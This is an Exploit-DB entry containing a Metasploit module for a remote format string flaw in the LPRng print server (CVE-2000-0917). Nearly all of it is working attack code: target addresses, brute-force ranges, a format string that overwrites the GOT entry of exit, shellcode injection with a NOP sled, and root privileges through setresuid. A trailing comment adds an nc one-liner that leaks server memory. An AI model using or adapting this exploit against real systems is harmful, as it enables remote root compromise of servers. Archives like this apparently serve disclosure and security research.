标题: LPRng - use_syslog Remote Format String (Metasploit) EDB-ID: 16842 CVE: 2000-0917 类型: REMOTE 平台: LINUX 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Brute
 include Msf::Exploit::FormatString

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
   'Description'    => %q{
     This module exploits a format string vulnerability in the LPRng print server.
    This vulnerability was discovered by Chris Evans. There was a publicly
    circulating worm targeting this vulnerability, which prompted RedHat to pull
    their 7.0 release. They consequently re-released it as "7.0-respin".
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9666 $',
   'References'     =>
    [
     [ 'CVE', '2000-0917' ],
     [ 'OSVDB', '421' ],
     [ 'BID', '1712' ],
     [ 'US-CERT-VU', '382365' ],
     [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
     [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/226' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/227' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/230' ]
    ],
   'Platform'       => 'linux',
   'Arch'           => ARCH_X86,
   'Privileged'     => true, # root
   'DefaultOptions' =>
    {
     'PrependSetresuid' => true
    },
   'Payload'        =>
    {
     'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
     'BadChars' => "\x00\x0a\x20\x25",
    },
   'Targets'        =>
    [
     # tested OK - jjd
     [ 'Caldera OpenLinux 2.3 Bruteforce',
      {
       'Platform'   => 'linux',
       'NumPops'    => 243,
       'FlowHook'   => 0x80992d4,  # GOT of exit
       # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xcffffff4 },
         'Stop'  => { 'Ret' => 0x7fffe004 },
         'Step'  => 16
        }
      }
     ],
=begin
     # untested (from public exploits)
     [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
      {
       'NumPops'  => 299,
       'Ret'     => 0xbffff640,
       'FlowHook' => 0xbfffee30
      }
     ],
     [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
      {
       'NumPops'  => 304,
       'Ret'     => 0xbffff920,
       'FlowHook' => 0xbffff0f0
      }
     ],
     [ 'RedHat 7.0 - Guinesss',
      {
       'NumPops'  => 300,
       'Ret'     => 0x41424344,
       'FlowHook' => 0xbffff3ec
      }
     ],
     [ 'RedHat 7.0 - Guinesss-dev',
      {
       'NumPops'  => 300,
       'Ret'     => 0x41424344,
       'FlowHook' => 0xbffff12c
      }
     ],
=end
     # ...
     [ 'Debug',
      {
       'NumPops'  => 1, # sure to miss.
       'Ret'     => 0x41424344,
       'FlowHook' => 0x45464748
      }
     ]
    ],
   # 'DefaultTarget' => 0,
   'DisclosureDate' => 'Sep 25 2000'))

  register_options( [ Opt::RPORT(515) ], self.class )
 end


 def exploit
  # we want to use DPA for this one :)
  fmtstr_set_caps(false, true)

  # check syslog to see which number hits 41414141
=begin
  400.times { |x|
   connect
   buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
   sock.put(buf)
   #handler
   disconnect
  }
=end
  print_status("Trying target #{target.name} ..")

  super
 end


 def brute_exploit(addrs)

  #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

  printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
  num_start = printed.length + 2 + 4

  # write 'ret' addr to flowhook (execute shellcode)
  # NOTE: the resulting two writes must be done at the same time

  # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
  fmtbuf = "_" * 4
  fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
  #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

  # append payload and newline
  #fmtbuf << payload.encoded
  fmtbuf << "\x90" * 32
  fmtbuf << Rex::Text.charset_exclude(payload_badchars)
  fmtbuf << "\n"

  print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

  connect
  #print_status("Sleeping, attach now!!")
  #select(nil,nil,nil,5)

  sock.put(fmtbuf)

  handler
  disconnect

 end

end


=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end URL: https://www.exploit-db.com/exploits/16842